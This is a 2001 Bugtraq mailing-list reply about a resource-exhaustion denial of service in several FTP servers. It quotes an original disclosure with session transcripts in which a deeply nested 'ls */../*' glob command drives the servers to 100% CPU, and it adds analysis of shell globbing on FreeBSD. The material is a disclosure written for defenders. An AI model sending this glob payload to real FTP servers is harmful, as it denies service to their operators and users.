Bugtraq mailing list archives
Re: Multiple vendors FTP denial of service
From: JT <luser () AHAB COM>
Date: Fri, 16 Mar 2001 13:10:05 -0500
This does work on FreeBSD 4-stable as well (ftp announces itself as(Version 6.00LS)). This should probably work on any ftp that uses an external ls command, and other than making ftpd friendly for use by login.conf (which would mean what? ftpd dropping privileges to the user once a connection is made? I'm betting this is not so simple though I'd love to hear from one who knows), I don't know what else to do - perhaps modify inetd.conf to run ftpd with resource limits? The shell is the locus of the problem here; it's really just simple filename globbing expanding into a very large set of pathnames to check; what is interesting is to test this from the shell (look in ftpcmd.y to see where I got this command): ls -lgA */../* is fine, but; ls -lgA */../*/../* results in: ls: Argument list too long while extending this further results in CPU hogging as observed by ftpd. This demonstrates that the ls command can't be 'fixed' to prevent this problem. The filename globbing - which is where the resource hogging happens - happens before the final list is passed to ls. Jason T On Thu, Mar 15, 2001 at 09:34:09AM +0100, Frank DENIS (Jedi/Sector One) wrote:
- Proftpd built-in 'ls' command has a globbing bug that allows remote denial-of-service. Here's a simple exploit, tested on the Proftpd site : $ ftp ftp.proftpd.org ... Name (ftp.proftpd.org:j): ftp ... 230 Anonymous access granted, restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 227 Entering Passive Mode (216,10,40,219,4,111). 421 Service not available, remote server timed out. Connection closed That command takes 100% CPU time on the server. It can lead into an easy DOS even if few remote simultanous connections are allowed. Other FTP servers may be concerned as well. Here are various tries : - NetBSD FTP showed the same behavior than Proftpd : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 200 EPRT command successful. (long delay) 421 Service not available, remote server timed out. Connection closed So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a possible DOS. Other BSD FTP may be affected as well. - Microsoft FTP Service (Version 5.0) seems also confused by the command : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 500 'EPSV': command not understood 227 Entering Passive Mode (207,46,133,140,4,223). 200 PORT command successful. 150 Opening ASCII mode data connection for file list. (very long delay... nothing happens...) - Publicfile refuses the command : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 227 =131,193,178,181,97,222 550 Sorry, I can't open that file: file does not exist. - Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and displayed. - PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard expression to *" and the 'ls *' output. Maintainers of vulnerable servers have been warned of this bug. -- -=- Frank DENIS aka Jedi/Sector One < spam () jedi claranet fr > -=- LINAGORA SA (Paris, France) : http://www.linagora.com
Current thread:
- Multiple vendors FTP denial of service Frank DENIS (Jedi/Sector One) (Mar 15)
- Re: Multiple vendors FTP denial of service Jeff Dafoe (Mar 16)
- Re: Multiple vendors FTP denial of service jedi (Mar 16)
- Re: Multiple vendors FTP denial of service Daniel Roesen (Mar 16)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 16)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 19)
- Bash memory exhaustion (was Re: Multiple vendors FTP denial of service) Nick Lamb (Mar 20)
- Re: Multiple vendors FTP denial of service The Flying Hamster (Mar 21)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 19)
- Re: Multiple vendors FTP denial of service Mike Gleason (Mar 16)
- Re: Multiple vendors FTP denial of service Crist Clark (Mar 19)
- Re: Multiple vendors FTP denial of service JT (Mar 19)
- Re: Multiple vendors FTP denial of service D. J. Bernstein (Mar 19)
- Re: Multiple vendors FTP denial of service jedi (Mar 20)
- Re: Multiple vendors FTP denial of service Pawel Wilk (Mar 20)
- Re: Multiple vendors FTP denial of service Interstellar Overdrive (Mar 23)
- <Possible follow-ups>
- Re: Multiple vendors FTP denial of service Stefan Laudat (Mar 21)
- Re: Multiple vendors FTP denial of service Nate Eldredge (Mar 22)
- Re: Multiple vendors FTP denial of service peterw (Mar 22)
- Re: Multiple vendors FTP denial of service Markku Savela (Mar 22)
- Multiple vendors FTP denial of service Peter Timothey Hessler (Mar 21)
- Re: Multiple vendors FTP denial of service Jeff Dafoe (Mar 16)